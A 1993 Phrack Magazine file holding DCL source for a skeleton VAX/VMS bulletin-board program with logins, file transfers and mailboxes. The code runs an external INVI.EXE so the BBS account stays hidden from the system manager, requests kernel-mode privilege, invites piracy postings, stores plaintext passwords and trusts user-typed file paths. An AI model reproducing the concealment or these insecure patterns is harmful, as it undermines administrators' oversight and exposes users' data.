==Phrack Magazine== Volume Five, Issue Forty-Five, File 16 of 28 **************************************************************************** DCL BBS PROGRAM -------cut here-------cut here------cut here------cut here------cut here------ $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ ! Well, this is just a little bbs program, a skeleton on wich u can work, ! $ ! add stuff, subroutines, and so on. ! $ ! I am SURE there are bugs, anyway the only I use to know 'till now is in ! $ ! the editor, where anything u write after a "!" will not be saved ! $ ! If sumbody wants to help/cooperate/exchange ideas about this program and/or! $ ! any Dcl stuff/trick, just write at: ! $ ! SSGRR@pol88a.polito.it for internet e-mail ! $ ! (0) 22221122878::SSGRR for PSI MAIL ! $ ! Mbx RAOUL on Qsd chat system, x.25 nua (0) 208057040540 ! $ ! ANY kind of help and suggestion will be accepted ! ! $ ! ANY kind of cooperation with SERIOUS italian and/or european hackers, ! $ ! especially concerning x.25 networks, vax/vms, unix, cisco systems will be ! $ ! appreciated. ! $ ! ! $ ! Raoul / SferraNet Inc. for Phrack Magazine ! $ ! Many thanks to: Nobody. I usually work on my own. ! $ ! ! $ ! ! $ ! Remember to add the files the program requires, such as: ! $ ! INVI.EXE ! $ ! goodbye.txt ! $ ! files.txt ! $ ! etc..... ! $ ! And remember to create the subdirectories the program requires, AND to ! $ ! create a [bbs] directory, otherwise to rename [bbs] string, in this ! $ ! program, to a different name. ! $ ! ! $ ! I am sorry if program documentation is poor, but this program is mainly ! $ ! intended as a skeleton for future developments. ! $ ! I swear next time it will came up with a installation.com file :) ! $ ! ! $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! BBS PROGRAM RELEASE 2.0 $! ADDED CALL FUNCTION TO SPEED UP PROCESSES $! LAST MODIFIED ON 15/10/1993 BY RAOUL/SFERRANET $! BBS PROGRAM $! Coded By Raoul/SferraNet $! $! Featuring: $! Internal Mbx option $! Kermit (Vms default) and Zmodem download protocols options $! internal editor $! password change option $! logs of dtes, calls source etc $! "post a banner" option $ ! "BBS" account requires: $ ! Privileges: NETMBX, TMPMBX, CMKRNL $ ! Defprivileges: NETMBX, TMPMBX, CMKRNL $ ! Flags: disnewmail, disctly, restricted $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ !This next 3 lines put away error messages ( remove it when testing the $ !program, so that you will be able to see wich errors you are getting $ set messa /nofac $ set messa /notext $ set messa /nosev $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ ! Defines CLS $ ESC[0,8] = 27 $ CLC == ESC+"[H"+ESC+"[J" $ cls := "write sys$output CLC" $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $!define user's terminal $ ! here we check what kind of terminal user has, knowing that for Vms $ ! a good graphic mode will be from VT100 on, using this list: $ ! unknown = 0 $ ! VT52 = 64 $ ! VT100 = 96 $ ! VT101 = 97 $ ! VT102 = 98 $ ! VT105 = 99 $ ! VT125 = 100 $ ! VT200 = 110 $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ cls $ write sys$output " Checking Terminal Type....Please Wait...." $ set terminal /inquire $ ttype = f$getdvi("SYS$COMMAND", "DEVTYPE") $ if ttype .ge. 96 $ then $ vt100_flag = 1 $ else $ vt100_flag = 0 $ endif $! $ if vt100_flag .eq. 1 $ then $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! This is a list of escape sequences definitions $ reverse == ESC+"[7m" ! turns on inverse video attribute $ blink == ESC+"[5m" ! turns on blinking attribute $ blankfromtop == ESC+"[1J" ! blanks screen from top to cursor $ blankline == ESC+"[2K" ! blanks current line $ blankendline == ESC+"[0K" ! blanks from cursor to end of line $ normal == ESC+"[0m" ! Resets to normal video attribute $ bold == ESC+"[1m" ! turns on Bold attribute $ underline == ESC+"[4m" ! turns on underline attribute $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ write sys$output reverse $ write sys$output blink $ write sys$output " Your Terminal Is DEC-VTxxx Series Compatible ! " $ write sys$output " This Will Help You To Get even MORE&MORE From This Bbs ! " $ write sys$output normal $ wait 0:00:03 $ else $ write sys$output " Sorry, Your Terminal Isn't DEC-VTxxx Series Compatible " $ write sys$output " " $ write sys$output " Try to Get a Better Emulation Next Time Dude!!! " $ wait 0:00:05 $ cls $ endif $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! USER.COM VERSION 1.0 BETA $ on error then goto nouser $ on severe_error then goto nouser $ in := "inquire /nopunctuation" $ out := "write sys$output" $ user: $ cls $ out " " $ out " ** Sferra Bbs Logon ** (C) 1993 Raoul / SferraNet Inc. " $ out " " $ in usr "Username: " $ if usr .eqs. "" then goto user $ if usr .eqs. " " then goto user $ open /read mailfile [bbs]'usr'.mail /error=nouser $ set term/noecho $ in pass "Password: " $ set term/echo $ read mailfile pw $ close mailfile $ if pw .eqs. pass then goto bbs $ out " " $ out "Wrong Password." $ wrong: $ out " " $ in test "Retry or Login as a New User ? (R/N) " $ if test .eqs. "N" then goto newusr $ cls $ goto user $ goto bbs $ nouser: $ out " " $ out " User ''usr' Not Found In Users File " $ out " " $ wait 0:00:02 $ goto wrong $!% author Raoul/SferraNet $!% language DCL $! Bbs program for Vax/Vms $! $ bbs: $ cls $ type [bbs]welcome.txt $ wait 00:00:04 $ user == usr $ tt == f$getdvi("TT","DEVNAM")!-"-" $! l1 == f$locate(":",TT) $! l1 == l1 -1 $ device == tt $ start == f$cvtime(,,"time") $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ ! Here we show user bbs in full mode, to get his/her dte, inet address or $ ! Decnet node, and put it in a file, then we run invisible.exe to $ ! make the user "BBS" invisible $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ sh u bbs /f /out=[bbs]'user'.dte $ open/append output_file [bbs]users.dat $ write output_file "Bbs Users Log on: ",F$time() $ write output_file "User: ''user' connected on ''device' at ''start'" $ close output_file $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! Here we run INVI.EXE, to get invisible at a sh users command, and to avoid $! System Manager to detect the bbs user $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ run [bbs]invi.exe;1 $ errcheck: $ on control_p then goto mainmenu $ on control_y then goto mainmenu $ on control_t then goto mainmenu $ on control_c then goto mainmenu $ on error then goto mainmenu $ on severe_error then goto mainmenu $ on warning then goto mainmenu $ write sys$output " " $ out reverse $ write sys$output " Welcome To " $ out normal $ write sys$output " " $ out blink $ write sys$output " Running on a Vax/Vms " $ out normal $ write sys$output " " $ out reverse $ write sys$output " You are connected on line ''device' at ''start' " $ out normal $ write sys$output " " $ out blink $ write sys$output " Please Wait... " $ out normal $ wait 0:00:05 $ cls $ write sys$output " User ''user' connected on ''device' at ''start' " $ write sys$output " " $ out reverse $ write sys$output " PLEASE POST ME A MESSAGE " $ out normal $ write sys$output " " $ write sys$output " IF U FIND ANY BUGS OR HAVE ANY SUGGESTION" $ wait 0:00:02 $ cls $ write sys$output " " $ write sys$output " *** Banner Message *** Read it or Die ! *** " $ write sys$output " " $ type [bbs]banner.txt $ write sys$output " " $ inquire /nopunct banner "Press [ENTER] To Continue..." $ mainmenu: $ cls $ write sys$output " " $ write sys$output " HackTown Bbs " $ write sys$output " " $ write sys$output " Main Menu " $ write sys$output " " $ write sys$output " " $ write sys$output " " $ write sys$output " " $ write sys$output " [F] Files Area " $ write sys$output " [M] Mailboxes Area " $ write sys$output " [I] Informations About This System " $ write sys$output " [B] Leave a Banner $ write sys$output " [U] List Users " $ write sys$output " [P] Post a Message To SysOp " $ write sys$output " [L] Logout " $ write sys$output " " $ write sys$output " " $ inquire topmenu "(F,M,I,B,P,L)==>" $ if topmenu .eqs. "L" then goto L $ if topmenu .eqs. "F" then goto F $ if topmenu .eqs. "I" then goto I $ if topmenu .eqs. "P" then goto P $ if topmenu .eqs. "M" then goto M $ if topmenu .eqs. "U" then goto U $ if topmenu .eqs. "B" then goto B $ if topmenu .eqs. "" then goto mainmenu $ if topmenu .eqs. " " then goto mainmenu $ goto mainmenu $! Banner Message $ B: $ cls $ write sys$output " Editing Banner! End With a Dot (.) " $ write sys$output " Notice: Pirating or Incorrects Messages Will Be " $ write sys$output " Accepted...Don't Be Clean! ;) " $ write sys$output " $ del [bbs]banner.txt;* /nolog $ open/write banner_file [bbs]banner.txt $ write banner_file " Banner Message From user ''usr' Posted at ''start' " $ write banner_file " " $ write banner_file "***********************************************************" $ line=1 $ more: $ inquire /nopunctu text "''line': " $ if text .eqs. "." then goto endbanner $ write banner_file text $ line=line+1 $ goto more $ write banner_file "***********************************************************" $ close banner_file $ write sys$output " " $ write sys$output " Banner Saved! " $ wait 0:00:02 $ goto mainmenu $! $ U: $ cls $ type [bbs]users.lis $ write sys$output " " $ write sys$output " " $ inquire /nopunctuation komodo " Press [ENTER] To Continue..." $ goto mainmenu $! $ L: $ goto bbsbye $ logout/full $! $! $! option F $! $ F: $ write sys$output " " $ write sys$output " " $ cls $ write sys$output " " $ write sys$output " Files Menu " $ write sys$output " " $ write sys$output " [1] List files " $ write sys$output " [2] Type a file " $ write sys$output " [3] Download a file " $ write sys$output " [4] Upload a file " $ write sys$output " [5] Go back to main menu " $ inquire files "(1,2,3,4,5)==>" $ if files .eqs. "1" then goto 1 $ if files .eqs. "2" then goto 2 $ if files .eqs. "3" then goto 3 $ if files .eqs. "4" then goto 4 $ if files .eqs. "5" then goto 5 $ if files .eqs. "" then goto F $ if files .eqs. " " then goto F $ goto F $! $ 1: $ goto fileslist $ inquire/nopunct tasto "Press [ENTER] to continue..." $ goto F $! $ 2: $ write sys$output "U can't type files such as .ZIP .EXE .ARJ etc..." $ inquire file "File to type ? " $ if file .eqs. "" then goto f $ if file .eqs " " then goto f $ if file .eqs. "login.com" then goto F $ inquire page "do you want the file to be typed with or without page pause ? (A/B) " $ cls $ if page .eqs "a" then goto nopage $ if page .eqs. "b" then goto page $ goto 2 $ page: $ type [bbs]'file' /nopage $ inquire/nopunct tasto "Press [ENTER] to continue..." $ cls $ goto F $! $ nopage: $ type [bbs]'file' /page $ inquire/nopunct tasto " Press [ENTER] to continue..." $ cls $ goto F $! $ 3: $ cls $ write sys$output " " $ inquire dl "File to download ? " $ inquire protocol "Protocol ? (Z=Zmodem, K=Kermit) " $ if protocol .eqs. "z" then goto zmodem $ if protocol .eqs. "k" then goto kermit $ goto F $ kermit: $ if dl .eqs. "" then goto F $ if dl .eqs. "login.com" then goto F $ if dl .eqs. "bbs.com" then goto F $ mcr kermit send [bbs.files]'dl' $ exit $ goto F $! $ zmodem: $ !!!!! Put here your zmodem program download string, etc $! $ goto F $! $ 4: $ cls $ write sys$output " " $ out blink $ write sys$output " Thanks for your upload! " $ out normal $ out reverse $ write sys$output " Default transfer protocol is Kermit " $ out normal $ inquire ul "File to upload ? " $ if ul .eqs. "" then goto F $ if ul .eqs. "login.com" then goto F $ if ul .eqs. "bbs.com" then goto F $ mcr kermit rec [bbs.files]'ul' $ exit $ open/append [bbs.files]files.txt $ write [bbs.files]files.txt "File ''ul' sent by ''user' at ''start' on ''device' " $ close [bbs.files]files.txt $ inquire desc " Please type a short description for your file " $ open/append [bbs.files]files.txt $ write 'desc'' [bbs.files]files.txt $ write [bbs.files]files.txt "----------------------------------------------------------------------" $ close [bbs.files]files.txt $ goto F $! $ 5: $ goto mainmenu $! $ M: $ cls $ write sys$output " MailBox Menu " $ write sys$output " " $ write sys$output " " $ write sys$output " [S] Send a Message " $ write sys$output " [R] Read Messages in Your Mailbox " $ write sys$output " [C] Clear Your Mailbox " $ write sys$output " [D] Delete Your Mailbox " $ write sys$output " [M] Go Back To Main Menu " $ write sys$output " " $ write sys$output " " $ inquire mailmenu " (S,R,C,D,M)==> " $ if mailmenu .eqs. "S" then goto smail $ if mailmenu .eqs. "R" then goto rmail $ if mailmenu .eqs. "C" then goto cmbx $ if mailmenu .eqs. "D" then goto delmail $ if mailmenu .eqs. "M" then goto mainmenu $ if mailmenu .eqs. "" then goto M $ goto M $! $! $ delmail: $ write sys$output " W A R N I N G ! ! ! " $ write sys$output " " $ write sys$output " Deleting Your Personal Mailbox " $ write sys$output " Will Remove You From The Users File " $ write sys$output " " $ inquire del "Do You Want To Delete Your Mailbox ? (Y/N) " $ if del .eqs. "Y" then goto mbxdely $ if del .eqs. "N" then goto mbxdeln $ goto M $! $ mbxdely: $ goto dmbx $ goto M $! $ mbxdeln: $ cls $ write sys$output " " $ write sys$output " Mailbox not Deleted " $ wait 0:00:02 $ goto M $! $ I: $ cls $ write sys$output " We're sorry if this system isn't 100% working fine. " $ write sys$output " We keep on to work at it. If you find bugs and/or errors, " $ write sys$output " please send me an URGENT mail (P option at Main Menu) " $ write sys$output " Thanks." $ write sys$output " " $ write sys$output " Bbs Staff " $ wait 0:00:03 $ goto mainmenu $! $P: $ cls $ write sys$output " " $ define/user_mode sys$input sys$command $ mail sys$command !!!!!!!<-- your VMS account, where you can $! receive regular vms mail via the vms mail utility $ goto mainmenu $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ newusr: $! $! NEWUSR.COM VERSION 1.0 BETA $! $ on warning then goto ok $ on control_y then goto ok $ on error then goto ok $ on severe_error then goto ok $ set on $ in :== "inquire /nopunctuation" $ out :== "write sys$output" $! $ cls $ write sys$output " " $ out blink $ out " Welcome New User ! " $ out normal $ out " " $ out " " $! $ in usr "Username: " $ open /read mailfile [bbs]'usr'.mail /error=ok $ out " " $ out "This Username already Exists." $ out " " $ wait 0:00:02 $ exit $ ok: $ set term/noecho $ in pass "Password: " $ set term/echo $ open /write mailfile [bbs]'usr'.mail $ write [bbs]mailfile pass $ close [bbs]mailfile $ out " " $ out "User ''usr' Added To Users File." $ out " " $ wait 0:00:02 $ exit $ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ ! bsbbye, displays a ascii file and logs user out of the system $ bbsbye: $ cls $ type [bbs]goodbye.txt /nopage $ FINISH = F$CVTIME(,,"TIME") $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " S F E R R A B B S ( C ) 1 9 9 3 " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " L O G O U T " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " " $ WRITE SYS$OUTPUT " C A L L B A C K S O O N ! ! !" $ write sys$output " " $ write sys$output " " $ write sys$output " " $ write sys$output " " $ write sys$output " " $ open/append output_file [bbs]users.dat $ write output_file "User: ''user' disconnected from ''device' on ''finish'" $ write output_file "-----------------------------------------------------" $ close output_file $ exit $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ smail: $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! SENDMAIL.COM VERSION 1.0 BETA $! $! $! $ on error then goto nouser $ on severe_error then goto nouser $ in :== "inquire /nopunctuation" $ out :== "write sys$output" $! $ cls $ out " Write Your Message Below. End With a Dot (.) " $! $ pass="" $ in usr "From : " $ open /read checkpw [bbs]'usr'.mail /error=wronguspw $ set term/noecho $ in pw "Password: " $ set term/echo $ read checkpw pass $ if pass .nes. pw then goto wronguspw $ if pass .nes. "" then close checkpw $ in dest "To : " $ open /append mailfile [bbs]'dest'.mail /error=nouser $ in obj "Object: " $ write mailfile "From : ",usr $ write mailfile "To : ",dest $ write mailfile "Object : ",obj $ write mailfile " " $ write mailfile "Text :" $ write mailfile " " $ line=2 $ previous: $ line=line-1 $ if line .eq. 0 then line=1 $ again: $ in text "''line': " $ if text .eqs. "c" then goto previous $ if text .eqs. "." then goto endinput $ write mailfile text $ line=line+1 $ goto again $ endinput: $ write mailfile "------" $ close mailfile $ out " " $ out "Mail Sent." $ wait 0:00:02 $ exit $ nouser: $ out "The user does not exists, please check the name." $ out " " $ wait 0:00:02 $ exit $ wronguspw: $ out " " $ out "You have entered a wrong Username/Password." $ out " " $ wait 0:00:02 $ if pass .nes. "" then close checkpw $ exit $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ rmail: $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! $! $! READMAIL.COM VERSION 1.0 BETA $! $! $! $ on error then goto finished $ on severe_error then goto finished $ in :== "inquire /nopunctuation" $ out :== "write sys$output" $! $! $ out " " $ in usr "Username: " $ set term/noecho $ in pass "Password: " $ set term/echo $ open /read mailfile [bbs]'usr'.mail /error=wronguspw $ mails=0 $ read mailfile pw $ if pw .nes. pass then goto wronguspw $ again: $ read mailfile text /end=finished $ if text .eqs. "------" then gosub pause $ out text $ goto again $ finished: $ close mailfile $ if mails .eq. 0 then goto nomails $ out " " $ out "End of Mails." $ wait 0:00:02 $ exit $ nomails: $ out "You have no mails." $ out " " $ wait 0:00:02 $ exit $ pause: $ out " " $ in more "Press any key to read next mail, press X to exit." $ if more .eqs. "X" then goto exitmail $ text=CLC $ mails=mails+1 $ return $ wronguspw: $ out " " $ out "You have entered a wrong Username/Password." $ out " " $ close mailfile $ exit $ exitmail: $ close mailfile $ exit $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ cmbx: $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! $! CLEARMAIL.COM VERSION 1.0 BETA $! $! $! $ on error then goto mistake $ on severe_error then goto mistake $ in :== "inquire /nopunctuation" $ out :== "write sys$output" $! $ cls $! $ pass="" $ in usr "Username: " $ open /read mailfile [bbs]'usr'.mail /error=wronguspw $ set term/noecho $ in pass "Password: " $ set term/echo $ mails=0 $ read mailfile pw $ if pw .nes. pass then goto wronguspw $ close mailfile $ open /write newfile [bbs]usr.tmp /error=wronguspw $ write newfile pw $ close newfile $ delete [bbs]'usr'.mail;* $ rename [bbs]usr.tmp [bbs]'usr'.mail /nolog $ cls $ out " " $ out "Mailbox Cleared." $ wait 0:00:02 $ exit $ mistake: $ cls $ out " " $ out "An error has occurred, contact Sysop." $ out " " $ exit $ wronguspw: $ cls $ out " " $ out "You have entered a wrong Username/Password." $ out " " $ wait 0:00:02 $ if pass .nes. "" then close mailfile $ exit $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ Dmbx: $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $! $! DELETEMBX.COM VERSION 1.0 BETA $! $! $! $ on error then goto nouser $ on severe_error then goto nouser $ in :== "inquire /nopunctuation" $ out :== "write sys$output" $ out " " $! $! $ in usr "Username: " $ open /read mailfile [bbs]'usr'.mail /error=nouser $ set term/noecho $ in pass "Password: " $ set term/echo $ read mailfile pw $ close mailfile $ if pw .eqs. pass then goto deleteit $ out " " $ out "Wrong Password." $ wait 0:00:02 $ exit $ deleteit: $ delete [bbs]'usr'.mail;* /nolog $ out " " $ out "Mailbox Deleted." $ out " " $ wait 0:00:02 $ exit $ nouser: $ out " " $ out "This Mailbox doesn't exists!" $ out " " $ wait 0:00:02 $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ fileslist $!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $ fileslist: subroutine $ cls $ type [bbs.files]files.txt $ write sys$output " " $ exit